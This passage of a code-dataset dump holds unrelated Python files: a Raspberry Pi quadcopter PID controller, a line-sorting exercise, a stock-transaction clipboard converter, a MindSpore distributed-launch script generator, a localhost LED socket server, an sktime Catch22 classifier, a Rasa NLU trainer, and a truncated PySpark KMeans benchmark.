Ki_yaw=0\n\nKp_roll=2\nKd_roll=18\nKi_roll=0.08\n\nKp_pitch=2\nKd_pitch=1\nKi_pitch=0.0001\n\nKp_yaw=2\nKd_yaw=0.5\nKi_yaw=0\n\nESC1 = 17\nESC2 = 27\nESC3 = 19\nESC4 = 26\n\nELEV = 5\nAILE = 6\nTHRO = 13\nRUDD = 12\nGEAR = 16\nAUX1 = 20\nAUX2 = 21\n\ninPINS = [ELEV, AILE, THRO, RUDD, GEAR, AUX1, AUX2]\n\npi = pigpio.pi()\npot = MCP3202(channel=0)\n\nl3g4200d = L3G4200D_lib.L3G4200D()\nadxl345 = ADXL345_lib.ADXL345()\nhmc5883l = HMC5883L_lib.HMC5883L()\nkalmanX = Kalman.KalmanAngle()\nkalmanY = Kalman.KalmanAngle()\n\npi.set_servo_pulsewidth(ESC1, 1000)\npi.set_servo_pulsewidth(ESC2, 1000)\npi.set_servo_pulsewidth(ESC3, 1000)\npi.set_servo_pulsewidth(ESC4, 1000)\ntime.sleep(3)\n\n#Calculate lipo voltage\ndef ConvertVolts(data,places):\n volts = (data * 9.7) / 2.3\n volts = round(volts,places)\n return volts\n\n#Convert speed (rps) to pulse\ndef Rps2Pulse1(rps): #Motor1\n pulse = rps/0.7856 + 1127\n if (pulse<500):\n pulse=500\n if (pulse>2000):\n pulse=2000\n return round(pulse)\n\ndef Rps2Pulse2(rps): #Motor2\n pulse = rps/0.7782 + 1125\n if (pulse<500):\n pulse=500\n if (pulse>2000):\n pulse=2000\n return round(pulse)\n\ndef Rps2Pulse3(rps): #Motor3\n pulse = rps/0.7938 + 1130\n if (pulse<500):\n pulse=500\n if (pulse>2000):\n pulse=2000\n return round(pulse)\n\ndef Rps2Pulse4(rps): #Motor4\n pulse = rps/0.7635 + 1118\n if (pulse<500):\n pulse=500\n if (pulse>2000):\n pulse=2000\n return round(pulse)\n\ndef PID_roll(roll,roll_setpoint,dt):\n global roll_i, last_roll_error\n roll_error = roll - roll_setpoint\n if throttle !=0:\n roll_i += roll_error\n elif throttle ==0:\n roll_i=0\n pid_roll_output = Kp_roll*roll_error + Ki_roll*roll_i + Kd_roll*(roll_error - last_roll_error)\n if (pid_roll_output > 100):\n pid_roll_output = 100\n elif (pid_roll_output < -100):\n pid_roll_output = -100\n last_roll_error=roll_error\n return pid_roll_output\n \ndef PID_pitch(pitch,pitch_setpoint,dt):\n global pitch_i, last_pitch_error\n pitch_error = pitch - pitch_setpoint\n if throttle !=0:\n pitch_i += pitch_error\n elif throttle==0:\n pitch_i =0\n pid_pitch_output = Kp_pitch*pitch_error + Ki_pitch*pitch_i + Kd_pitch*(pitch_error - last_pitch_error)\n if (pid_pitch_output > 100):\n pid_pitch_output = 100\n elif (pid_pitch_output < -100):\n pid_pitch_output = -100\n last_pitch_error=pitch_error\n return pid_pitch_output\n\ndef PID_yaw(yaw,yaw_setpoint,dt):\n global yaw_i, last_yaw_error\n yaw_error = yaw - yaw_setpoint\n yaw_i += yaw_error\n pid_yaw_output = Kp_yaw*yaw_error + Ki_yaw*yaw_i + Kd_yaw*(yaw_error - last_yaw_error)\n if (pid_yaw_output > 100):\n pid_yaw_output = 100\n elif (pid_yaw_output < -100):\n pid_yaw_output = -100\n last_yaw_error=yaw_error\n return pid_yaw_output\n\nend=0\nroll_i=0.0\nlast_roll_error=0.0\npitch_i=0.0\nlast_pitch_error=0.0\nyaw_i=0.0\nlast_yaw_error=0.0\nthrottle=0.0\n\n #Calculate roll, pitch, yaw angle\nadxl345.readNormalize()\npitch_raw = -(math.atan2(adxl345.nXAxis, math.sqrt(adxl345.nYAxis*adxl345.nYAxis + adxl345.nZAxis*adxl345.nZAxis))*180.0)/math.pi;\nroll_raw = (math.atan2(adxl345.nYAxis, adxl345.nZAxis)*180.0)/math.pi;\nkalmanX.setAngle(roll_raw)\nkalmanY.setAngle(pitch_raw)\n\nupTimes=0\ndownTimes=0\ndeltaTimes=0\ndeltaTimes_pre_1=0\ndeltaTimes_pre_2=0\ndeltaTimes_pre_3=0\ndeltaTimes_pre_4=0\ndeltaTimes_pre_5=0\nroll_setpoint=0\npitch_setpoint=0\nyaw_setpoint=0\ngear=0\n\ndef my_callback1(gpio,level,tick):\n global upTimes, downTimes, deltaTimes, deltaTimes_pre_1, deltaTimes_pre_2, deltaTimes_pre_3, deltaTimes_pre_4, deltaTimes_pre_5, throttle, roll_setpoint, pitch_setpoint, yaw_setpoint, gear\n \n if (level==0):\n downTimes=tick\n else:\n upTimes=tick\n\n deltaTimes=(downTimes-upTimes)\n if gpio==ELEV:\n if deltaTimes<0:\n deltaTimes=deltaTimes_pre_1\n deltaTimes_pre_1=deltaTimes\n pitch_setpoint=round((deltaTimes-1500 + 500)*(10+10) / (500 + 500) - 10,2)\n if abs(pitch_setpoint)<0.1:\n pitch_setpoint=0\n if gpio==RUDD:\n if deltaTimes<0:\n deltaTimes=deltaTimes_pre_2\n deltaTimes_pre_2=deltaTimes\n roll_setpoint=round((deltaTimes-1500 + 500)*(10+10) / (500 + 500) - 10,2)\n if abs(roll_setpoint)<0.1:\n roll_setpoint=0\n if gpio==AILE:\n if deltaTimes<0:\n deltaTimes=deltaTimes_pre_3\n deltaTimes_pre_3=deltaTimes\n yaw_setpoint=round((deltaTimes-1500 + 500) * (10 +10) / (500 + 500) - 10,2)\n if abs(yaw_setpoint)<0.1:\n yaw_setpoint=0\n if gpio==THRO:\n if deltaTimes<0:\n deltaTimes=deltaTimes_pre_4\n deltaTimes_pre_4=deltaTimes\n if deltaTimes<1200:\n deltaTimes=1200\n elif deltaTimes>1900:\n deltaTimes=1900\n throttle=(deltaTimes - 1200) * (600 - 0) / (1900 - 1200) + 0\n if gpio==GEAR:\n if deltaTimes<0:\n deltaTimes=deltaTimes_pre_5\n deltaTimes_pre_5=deltaTimes\n if deltaTimes < 1300:\n gear=0\n elif deltaTimes > 1700:\n gear=1\n \npi.callback(ELEV, pigpio.EITHER_EDGE, my_callback1)\npi.callback(AILE, pigpio.EITHER_EDGE, my_callback1)\npi.callback(THRO, pigpio.EITHER_EDGE, my_callback1)\npi.callback(RUDD, pigpio.EITHER_EDGE, my_callback1)\npi.callback(GEAR, pigpio.EITHER_EDGE, my_callback1)\n\nprint (\"Waiting for calibration\")\nl3g4200d.calibrate(100)\noff_heading=0\noff_pitch=0\noff_roll=0\nfor i in range(0,100):\n off_heading+=hmc5883l.readheading(0,0)\n adxl345.readNormalize()\n (Xrate,Yrate,Zrate)=l3g4200d.readNormalize()\n off_pitch += -(math.atan2(adxl345.nXAxis, math.sqrt(adxl345.nYAxis*adxl345.nYAxis + adxl345.nZAxis*adxl345.nZAxis))*180.0)/math.pi;\n off_roll += (math.atan2(adxl345.nYAxis, adxl345.nZAxis)*180.0)/math.pi;\noff_pitch /= 100\noff_roll /= 100\noff_heading /= 100\n\ngyroX_pre=0\ngyroY_pre=0\ngyroZ_pre=0\nlipo_volt_pre=0\nwhile lipo_volt_pre<10:\n lipo_volt_pre= ConvertVolts(pot.value*3.3,2)\nprint (\"Calibrate done\")\nend2=0\nwhile True:\n dt=(time.time() - end)\n dt2=(time.time() - end2)\n\n if (dt >= 0.01): #Sample rate 100Hz\n end = time.time()\n #Calculate roll, pitch, yaw angle\n (Xrate,Yrate,Zrate)=l3g4200d.readNormalize()\n gyroX = gyroX_pre*0.8 + 0.2*Xrate #LPF\n gyroY = gyroY_pre + 0.1*(Yrate - gyroY_pre) #LPF\n gyroZ = gyroZ_pre + 0.1*(Zrate - gyroZ_pre) #LPF\n gyroX_pre=gyroX\n gyroY_pre=gyroY\n gyroZ_pre=gyroZ\n adxl345.readNormalize()\n\n pitch_raw = -(math.atan2(adxl345.nXAxis, math.sqrt(adxl345.nYAxis*adxl345.nYAxis + adxl345.nZAxis*adxl345.nZAxis))*180.0)/math.pi;\n roll_raw = (math.atan2(adxl345.nYAxis, adxl345.nZAxis)*180.0)/math.pi;\n roll = kalmanX.getAngle(roll_raw,Xrate,dt) - off_roll\n pitch = kalmanY.getAngle(pitch_raw,Yrate,dt) - off_pitch\n if abs(roll) > 90 or abs(pitch) >90:\n roll=0\n pitch=0\n \n heading=hmc5883l.readheading(roll*math.pi/180,pitch*math.pi/180) - off_heading\n if heading>=180 and heading<360:\n yaw = heading - 360\n else:\n yaw = heading\n\n lipo_volt = ConvertVolts(pot.value*3.3,2)\n \n# esc_1_rps = throttle + PID_pitch(gyroY,pitch_setpoint,dt) + PID_roll(gyroX,roll_setpoint,dt) - PID_yaw(-yaw,0,dt)\n# esc_2_rps = throttle + PID_pitch(gyroY,pitch_setpoint,dt) - PID_roll(gyroX,roll_setpoint,dt) + PID_yaw(-yaw,0,dt)\n# esc_3_rps = throttle - PID_pitch(gyroY,pitch_setpoint,dt) - PID_roll(gyroX,roll_setpoint,dt) - PID_yaw(-yaw,0,dt)\n# esc_4_rps = throttle - PID_pitch(gyroY,pitch_setpoint,dt) + PID_roll(gyroX,roll_setpoint,dt) + PID_yaw(-yaw,0,dt)\n xc=PID_roll(gyroX,roll_setpoint,dt)\n esc_1_rps = throttle + xc# - PID_yaw(-yaw,0,dt)\n esc_2_rps = throttle - xc# + PID_yaw(-yaw,0,dt)\n esc_3_rps = throttle - xc# - PID_yaw(-yaw,0,dt)\n esc_4_rps = throttle + xc# + PID_yaw(-yaw,0,dt)\n off_rps1 = (esc_1_rps/300)*(11-lipo_volt)*30\n off_rps2 = (esc_2_rps/300)*(11-lipo_volt)*30\n off_rps3 = (esc_3_rps/300)*(11-lipo_volt)*30\n off_rps4 = (esc_4_rps/300)*(11-lipo_volt)*30\n \n if gear < 0.5:\n pi.set_servo_pulsewidth(ESC1, 1000)\n pi.set_servo_pulsewidth(ESC2, 1000)\n pi.set_servo_pulsewidth(ESC3, 1000)\n pi.set_servo_pulsewidth(ESC4, 1000)\n else:\n pi.set_servo_pulsewidth(ESC1, Rps2Pulse1(round(esc_1_rps+off_rps1)))\n pi.set_servo_pulsewidth(ESC2, Rps2Pulse2(round(esc_2_rps+off_rps2)))\n pi.set_servo_pulsewidth(ESC3, Rps2Pulse3(round(esc_3_rps+off_rps3)))\n pi.set_servo_pulsewidth(ESC4, Rps2Pulse4(round(esc_4_rps+off_rps4)))\n \n if dt2>0.5:\n print(lipo_volt,xc,esc_1_rps,esc_2_rps,esc_3_rps,esc_4_rps)\n end2=time.time()\n \n if throttle==0 and yaw_setpoint>8 and roll_setpoint<8 and pitch_setpoint>8:\n break\nos.system(\"sudo shutdown -h now\")\n\n","sub_path":"quadcopter_project/quadcopter_gyro_final.py","file_name":"quadcopter_gyro_final.py","file_ext":"py","file_size_in_byte":9462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"388052024","text":"def main():\n entry = 0\n while entry != \"\":\n try:\n nimi = str(input(\"What is your input file? \"))\n tiedosto = open(nimi, \"r\")\n lyhyt = str(input(\"What is your output file #1? \"))\n lyhyt_tiedosto = open(lyhyt, \"w\")\n pitka = str(input(\"What is your output file #2? \"))\n pitka_tiedosto = open(pitka, \"w\")\n pituus = int(input(\"What is your threshold value? \"))\n\n\n with tiedosto as f:\n for line in f:\n num_chars = 0\n line = line.rstrip(\"\\n\")\n num_chars += len(line)\n if num_chars >= pituus:\n pitka_tiedosto.write(line + \"\\n\")\n elif num_chars < pituus:\n lyhyt_tiedosto.write(line + \"\\n\")\n else:\n print(\"Your input file contains no lines. \")\n\n pitka_tiedosto.close()\n lyhyt_tiedosto.close()\n print(\"The lines from the input file have been sorted based on your threshold value. \")\n break\n\n except FileNotFoundError:\n print(\"The file you entered was not found. Please try again.\\n\")\n\nmain()","sub_path":"assignment_9_1.py","file_name":"assignment_9_1.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"517494711","text":"import datetime\nimport clipboard\nfrom tkinter import Tk\n\nroot = Tk()\nroot.withdraw()\ninput_data = root.clipboard_get()\n\nmi_list = ['XBLC', 'XXSC', 'XSX6']\n\ndata = input_data.split(\"\\n\")\nresult = ''\n\nfor row in data:\n #row.rstrip()\n values = row.split(\"\\t\") #split rows into list of values\n #print(values)\n new_date = datetime.datetime.strptime(values[0], \"%d.%m.%Y\").strftime(\"%Y-%m-%d\") #change date format to YYYY-MM-DD\n \n ticker = values[-1]\n ticker = ticker.replace(\"GR\",\"MI\") if ticker.split('.')[0] in mi_list else ticker.replace(\"GR\", \"DE\") #change ticker to one tracked by myfund\n ticker = 'BORSE_' + ticker #add internal myfund prefix \n \n bos = \"KUPNO\" if values[1] == 'Zakup' else \"SPRZEDAŻ\" #determine type of transaction\n amount = values[2] #extract transaction amount\n price = values[3].replace(\"€\", \"[EUR]\") #extract price and use proper currency notation\n new_list = [new_date, ticker, bos, amount, price, \"0\", \"0\"] #create new list\n new_row = \";\".join(new_list) + \"\\n\" #format list into single csv row\n result += new_row #add row to results\n\nprint(result) \nclipboard.copy(result)","sub_path":"finax.py","file_name":"finax.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"541389363","text":"# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"distribute running script\"\"\"\nimport os\nimport json\nimport multiprocessing\nfrom argparse import ArgumentParser\n\n\ndef parse_args():\n \"\"\"\n parse args .\n\n Args:\n\n Returns:\n args.\n\n Examples:\n >>> parse_args()\n \"\"\"\n parser = ArgumentParser(description=\"Distributed training scripts generator for MindSpore\")\n\n parser.add_argument(\"--run_script_path\", type=str, default=\"\",\n help=\"Run script path, it is better to use absolute path\")\n parser.add_argument(\"--args\", type=str, default=\"\",\n help=\"Other arguments which will be passed to main program directly\")\n parser.add_argument(\"--hccl_config_dir\", type=str, default=\"\",\n help=\"Hccl config path, it is better to use absolute path\")\n parser.add_argument(\"--cmd_file\", type=str, default=\"distributed_cmd.sh\",\n help=\"Path of the generated cmd file.\")\n parser.add_argument(\"--hccl_time_out\", type=int, default=120,\n help=\"Seconds to determine the hccl time out,\"\n \"default: 120, which is the same as hccl default config\")\n parser.add_argument(\"--cpu_bind\", action=\"store_true\", default=False,\n help=\"Bind cpu cores or not\")\n\n args = parser.parse_args()\n return args\n\n\ndef append_cmd(cmd, s):\n cmd += s\n cmd += \"\\n\"\n return cmd\n\n\ndef append_cmd_env(cmd, key, value):\n return append_cmd(cmd, \"export \" + str(key) + \"=\" + str(value))\n\n\ndef set_envs(cmd, logic_id, rank_id):\n \"\"\"\n Set environment variables.\n \"\"\"\n cmd = append_cmd_env(cmd, \"DEVICE_ID\", str(logic_id))\n cmd = append_cmd_env(cmd, \"RANK_ID\", str(rank_id))\n return cmd\n\n\ndef make_dirs(cmd, logic_id):\n \"\"\"\n Make directories and change path.\n \"\"\"\n cmd = append_cmd(cmd, \"rm -rf LOG\" + str(logic_id))\n cmd = append_cmd(cmd, \"mkdir ./LOG\" + str(logic_id))\n cmd = append_cmd(cmd, \"mkdir -p ./LOG\" + str(logic_id) + \"/ms_log\")\n cmd = append_cmd(cmd, \"env > ./LOG\" + str(logic_id) + \"/env.log\")\n cur_dir = os.getcwd()\n cmd = append_cmd_env(cmd, \"GLOG_log_dir\", cur_dir + \"/LOG\" + str(logic_id) + \"/ms_log\")\n cmd = append_cmd_env(cmd, \"GLOG_logtostderr\", \"0\")\n cmd = append_cmd(cmd, \"cd \" + cur_dir + \"/LOG\" + str(logic_id))\n return cmd\n\n\ndef print_info(rank_id, device_id, logic_id, cmdopt, cur_dir):\n \"\"\"\n Print some information about scripts.\n \"\"\"\n print(\"\\nstart training for rank \" + str(rank_id) + \", device \" + str(device_id) + \":\")\n print(\"rank_id:\", rank_id)\n print(\"device_id:\", device_id)\n print(\"logic_id\", logic_id)\n print(\"core_nums:\", cmdopt)\n print(\"log_file_dir: \" + cur_dir + \"/LOG\" + str(logic_id) + \"/pretraining_log.txt\")\n\ndef distribute_run():\n \"\"\"\n distribute pretrain scripts. The number of Ascend accelerators can be automatically allocated\n based on the device_num set in hccl config file, You don not need to specify that.\n \"\"\"\n cmd = \"\"\n print(\"start\", __file__)\n args = parse_args()\n\n run_script = args.run_script_path\n\n print(\"hccl_config_dir:\", args.hccl_config_dir)\n print(\"hccl_time_out:\", args.hccl_time_out)\n cmd = append_cmd_env(cmd, 'HCCL_CONNECT_TIMEOUT', args.hccl_time_out)\n cmd = append_cmd_env(cmd, 'RANK_TABLE_FILE', args.hccl_config_dir)\n\n cores = multiprocessing.cpu_count()\n print(\"the number of logical core:\", cores)\n\n # get device_ips\n device_ips = {}\n physic_logic_ids = {}\n with open('/etc/hccn.conf', 'r') as fin:\n for hccn_item in fin.readlines():\n if hccn_item.strip().startswith('address_'):\n device_id, device_ip = hccn_item.split('=')\n device_id = device_id.split('_')[1]\n device_ips[device_id] = device_ip.strip()\n\n if not device_ips:\n raise ValueError(\"There is no address in /etc/hccn.conf\")\n\n for logic_id, device_id in enumerate(sorted(device_ips.keys())):\n physic_logic_ids[device_id] = logic_id\n\n with open(args.hccl_config_dir, \"r\", encoding=\"utf-8\") as fin:\n hccl_config = json.loads(fin.read())\n rank_size = 0\n for server in hccl_config[\"server_list\"]:\n rank_size += len(server[\"device\"])\n if server[\"device\"][0][\"device_ip\"] in device_ips.values():\n this_server = server\n\n cmd = append_cmd_env(cmd, \"RANK_SIZE\", str(rank_size))\n print(\"total rank size:\", rank_size)\n print(\"this server rank size:\", len(this_server[\"device\"]))\n avg_core_per_rank = int(int(cores) / len(this_server[\"device\"]))\n core_gap = avg_core_per_rank - 1\n print(\"avg_core_per_rank:\", avg_core_per_rank)\n\n count = 0\n for instance in this_server[\"device\"]:\n # device_id is the physical id, we use logic id to specific the selected device.\n # While running on a server with 8 pcs, the logic ids are equal to the device ids.\n device_id = instance[\"device_id\"]\n rank_id = instance[\"rank_id\"]\n logic_id = physic_logic_ids[device_id]\n start = count * int(avg_core_per_rank)\n count += 1\n end = start + core_gap\n cmdopt = str(start) + \"-\" + str(end)\n cur_dir = os.getcwd()\n\n cmd = set_envs(cmd, logic_id, rank_id)\n cmd = make_dirs(cmd, logic_id)\n\n print_info(rank_id=rank_id, device_id=device_id, logic_id=logic_id, cmdopt=cmdopt, cur_dir=cur_dir)\n\n if args.cpu_bind:\n run_cmd = 'taskset -c ' + cmdopt + ' '\n else:\n run_cmd = \"\"\n run_cmd += 'nohup python ' + run_script + \" \"\n\n run_cmd += \" \" + ' '.join([str(x) for x in args.args.split(' ')[1:]])\n run_cmd += ' >./log.txt 2>&1 &'\n\n cmd = append_cmd(cmd, run_cmd)\n cmd = append_cmd(cmd, \"cd -\")\n cmd = append_cmd(cmd, \"echo \\\"run with\" +\n \" rank_id=\" + str(rank_id) +\n \" device_id=\" + str(device_id) +\n \" logic_id=\" + str(logic_id) + \"\\\"\")\n cmd += \"\\n\"\n\n with open(args.cmd_file, \"w\") as f:\n f.write(cmd)\n\nif __name__ == \"__main__\":\n distribute_run()\n","sub_path":"research/recommend/ncf/scripts/ascend_distributed_launcher/get_distribute_pretrain_cmd.py","file_name":"get_distribute_pretrain_cmd.py","file_ext":"py","file_size_in_byte":6796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"128503887","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 27 14:17:41 2020\n\n@author: david\n\"\"\"\n\nimport RPi.GPIO as GPIO \nimport time \nimport socket \nimport signal \nimport sys \n \nGPIO.setmode(GPIO.BCM) \nGPIO.setup(17, GPIO.OUT)\nGPIO.setwarnings(False) \n \n \ndef signal_terminate_handler(signum, frame):\n \"\"\"\n Manage the closure of a socket \n \"\"\"\n \n print(\"Received signal: {}. Your server is terminated \".format(signum))\n client.close()\n socket_sm.close()\n sys.exit(0)\n\nsignal.signal(signal.SIGTERM, signal_terminate_handler)\nsignal.signal(signal.SIGINT, signal_terminate_handler)\n \nhost = '127.0.0.1' #adresse IP du serveur\nport = 12820 #port d'acces au serveur de LED\n\nGPIO.output(17, GPIO.LOW)\n \n\"\"\" connexion accepted with the client \"\"\"\n\nprint(\"Creation of the socket...\\n\")\n\nsocket_sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsocket_sm.bind((host, port)) \nsocket_sm.listen(5)\n\nprint(\"Waiting a client...\\n\") \nclient, adress = socket_sm.accept() \nprint(\"Client found...\\n\") \n\n\"\"\" communication avec le client \"\"\"\n\nchoice = b\"\"\n \nwhile choice != b\"end\": \n \n choice = client.recv(255)\n\n choice = choice.decode() \n\n if choice == \"on\":\n GPIO.output(17, GPIO.HIGH)\n print(\"On received...\\n\") \n \n elif choice == \"off\":\n GPIO.output(17, GPIO.LOW)\n print(\"Off received...\\n\") \n\n client.send(b\"5 / 5\") \n\nGPIO.cleanup()\nsocket_sm.close()\n\ntry:\n client.close()\nexcept SyntaxError:\n print(\"client does not exist yet\")\n \n \n \n \n ","sub_path":"servers/led_server.py","file_name":"led_server.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"63489926","text":"# -*- coding: utf-8 -*-\n\"\"\"Catch22 Forest Classifier.\n\nA forest classifier based on catch22 features\n\"\"\"\n\n__author__ = [\"Matthew Middlehurst\"]\n__all__ = [\"Catch22ForestClassifier\"]\n\nimport numpy as np\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.utils.multiclass import class_distribution\n\nfrom sktime.classification.base import BaseClassifier\nfrom sktime.transformations.panel.catch22 import Catch22\nfrom sktime.utils._maint import deprecated\nfrom sktime.utils.validation.panel import check_X\n\n\nclass Catch22ForestClassifier(BaseClassifier):\n \"\"\"Canonical Time-series Characteristics (catch22).\n\n DEPRECATED. Please use `Catch22Classifier` from\n `sktime.classification.feature_based` instead.\n\n Overview: Input n series length m. Transforms series into the 22 catch22\n features [1] extracted from the hctsa toolbox[2] and builds a random forest\n classifier on them.\n\n Parameters\n ----------\n n_estimators : int, number of trees in the random forest (default=200)\n outlier_norm : boolean, normalise each series for the outlier catch22\n features which can take a while to process otherwise (default=False)\n n_jobs : int or None, number of jobs to run in parallel (default=1)\n random_state : int or None, seed for random, integer,\n optional (default to no seed)\n\n Attributes\n ----------\n classifier : trained random forest classifier\n\n Notes\n -----\n ..[1] Fulcher, B. D., & Jones, N. S. (2017). hctsa: A computational framework\n for automated time-series phenotyping using massive feature extraction.\n Cell systems, 5(5), 527-531.\n\n ..[2] Fulcher, B. D., Little, M. A., & Jones, N. S. (2013). Highly comparative\n time-series analysis: the empirical structure of time series and their\n methods. Journal of the Royal Society Interface, 10(83), 20130048.\n\n Original Catch22ForestClassifier:\n https://github.com/chlubba/sktime-catch22\n catch22 package C, MATLAB and wrapped Python implementations:\n https://github.com/chlubba/catch22\n For the Java version, see\n https://github.com/uea-machine-learning/tsml/blob/master/src/main/java\n /tsml/transformers/Catch22.java\n \"\"\"\n\n # Capability tags\n capabilities = {\n \"multivariate\": True,\n \"unequal_length\": False,\n \"missing_values\": False,\n \"train_estimate\": False,\n \"contractable\": False,\n }\n\n @deprecated(\n \"Please use `Catch22Classifier` from `sktime.classification.feature_based` instead.\" # noqa: E501\n )\n def __init__(\n self,\n n_estimators=200,\n outlier_norm=False,\n n_jobs=1,\n random_state=None,\n ):\n self.n_estimators = n_estimators\n self.outlier_norm = outlier_norm\n self.n_jobs = n_jobs\n self.random_state = random_state\n\n self.classifier = None\n self.n_timestep_ = 0\n self.n_dims_ = 0\n self.classes_ = []\n super(Catch22ForestClassifier, self).__init__()\n\n def fit(self, X, y):\n \"\"\"Fit a random catch22 feature forest classifier.\n\n Parameters\n ----------\n X : nested pandas DataFrame of shape [n_instances, 1]\n Nested dataframe with univariate time-series in cells.\n y : array-like, shape = [n_instances] The class labels.\n\n Returns\n -------\n self : object\n \"\"\"\n X = check_X(X, enforce_univariate=False, coerce_to_numpy=True)\n self.classes_ = class_distribution(np.asarray(y).reshape(-1, 1))[0][0]\n\n c22 = Catch22(outlier_norm=self.outlier_norm)\n c22_list = c22.fit_transform(X)\n\n self.classifier = RandomForestClassifier(\n n_jobs=self.n_jobs,\n n_estimators=self.n_estimators,\n random_state=self.random_state,\n )\n\n X_c22 = np.nan_to_num(np.array(c22_list, dtype=np.float32), False, 0, 0, 0)\n self.classifier.fit(X_c22, y)\n\n self._is_fitted = True\n return self\n\n def predict(self, X):\n \"\"\"Make predictions for all cases in X.\n\n Parameters\n ----------\n X : The testing input samples of shape [n_instances,1].\n\n Returns\n -------\n output : numpy array of shape = [n_instances]\n \"\"\"\n self.check_is_fitted()\n X = check_X(X, enforce_univariate=False, coerce_to_numpy=True)\n\n c22 = Catch22(outlier_norm=self.outlier_norm)\n c22_list = c22.fit_transform(X)\n\n X_c22 = np.nan_to_num(np.array(c22_list, dtype=np.float32), False, 0, 0, 0)\n return self.classifier.predict(X_c22)\n\n def predict_proba(self, X):\n \"\"\"Make class probability estimates on each case in X.\n\n Parameters\n ----------\n X - pandas dataframe of testing data of shape [n_instances,1].\n\n Returns\n -------\n output : numpy array of shape =\n [n_instances, num_classes] of probabilities\n \"\"\"\n self.check_is_fitted()\n X = check_X(X, enforce_univariate=False, coerce_to_numpy=True)\n\n c22 = Catch22(outlier_norm=self.outlier_norm)\n c22_list = c22.fit_transform(X)\n\n X_c22 = np.nan_to_num(np.array(c22_list, dtype=np.float32), False, 0, 0, 0)\n return self.classifier.predict_proba(X_c22)\n","sub_path":"sktime/classification/hybrid/_catch22_forest_classifier.py","file_name":"_catch22_forest_classifier.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"429442177","text":"from rasa_nlu.training_data import load_data\nfrom rasa_nlu.model import Trainer\nfrom rasa_nlu import config\nimport os\n\n\ndef train(data_path):\n # 示例数据\n\n getcwd = os.getcwd()\n\n print(getcwd)\n\n training_data = load_data(data_path)\n # pipeline配置指定了配置文件地址\n trainer = Trainer(config.load(\"./../nlu_config.yml\"))\n trainer.train(training_data)\n model_directory = trainer.persist('./../models_center/intent/fb')\n\n print(model_directory)\n\n\nif __name__ == '__main__':\n path = \"./../data/nlu.md\"\n\n getcwd = os.getcwd()\n print(getcwd)\n\n train(path)\n","sub_path":"ask_weather/train_nlu/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"1279047","text":"#-*- coding: utf-8 -*-\r\n# v Note from Anna Ch v\r\n# To run on local standalone PySpark:\r\n# Make sure system env vars PYSPARK_DRIVER,\r\n# PYSPARK_DRIVER_PYTHON and PYSPARK_PYTHON are defined (maybe not all of them are necessary),\r\n# and their paths have no spaces (example: %ProgramFiles%\\Python36\\python.exe)\r\n# Define JAVA_HOME as for jdk java 1.8. Delete java 11 if it's installed\r\n\r\nimport time\r\nimport psutil\r\nimport pandas as pd\r\nimport numpy as np\r\nimport pyspark.sql\r\nfrom pyspark.ml.linalg import Vectors\r\nfrom pyspark.ml.clustering import KMeans\r\nfrom pyspark.ml.evaluation import RegressionEvaluator\r\nfrom pyspark.ml.tuning import CrossValidator, ParamGridBuilder\r\n\r\nfrom pyspark.sql import SQLContext\r\nfrom pyspark import SparkConf\r\nfrom pyspark import SparkContext\r\nfrom pyspark.sql import SparkSession\r\n\r\nfrom sklearn.metrics import adjusted_rand_score\r\n\r\n\r\n# Init spark configuration\r\nspark = SparkSession.builder.appName(\"KMEANS\").getOrCreate()\r\nsc = spark.sparkContext\r\nsqlContext = SQLContext(sc)\r\n\r\n\r\ndef dataParse1(dat): # this works for Aggregate.csv TODO: make a universal parser or prepare data\r\n row = list(filter(None, dat[0].split(\"\\t\")))\r\n return [row[-1], Vectors.dense(row[:-1])]\r\n\r\ndef dataParse(dat):\r\n #row = list(filter(None, dat[0].split(\"\\t\")))\r\n #print(dat[-1], end = ', ')\r\n return [dat[-1], Vectors.dense(dat[:-1])]\r\n\r\ndef testOLSSpark(predictor, response):\r\n # cumulative count initialization\r\n tot_time = 0\r\n tot_run = 0\r\n\r\n # Create dictionary to store data\r\n record = []\r\n\r\n # Pre-process data\r\n data_raw = predictor#pd.concat([response, predictor], axis=1)\r\n data_tmp = sqlContext.createDataFrame(data_raw)\r\n data_rdd = data_tmp.rdd.map(dataParse)\r\n #data_rdd.toDF().show()\r\n # set partition as 4 #.map(lambda x: pyspark.sql.Row(x))\r\n tmp = sqlContext.createDataFrame(data_rdd.repartition(4), ['label', 'features']) #\r\n data_reg = tmp.rdd.repartition(4)\r\n #dat_split = data_reg.randomSplit([0.8, 0.2], 88)\r\n\r\n # Set stopping time as 1s for ease, will change to 3600s in final version.\r\n #data_features = data_reg.map(lambda x: x[1:])\r\n #data_reg.toDF().show()\r\n labels_true = [l.label for l in data_reg.toDF().select(\"label\").collect()]\r\n while (tot_time < 600):#7200\r\n benchmark_starttime = time.time()\r\n\r\n # For each run, record time, cpu and I/O\r\n io_disk_start = psutil.disk_io_counters(perdisk=False)\r\n io_net_start = psutil.net_io_counters(pernic=False)\r\n cpu_util_start = psutil.cpu_percent(interval=None)\r\n mem_used_start = 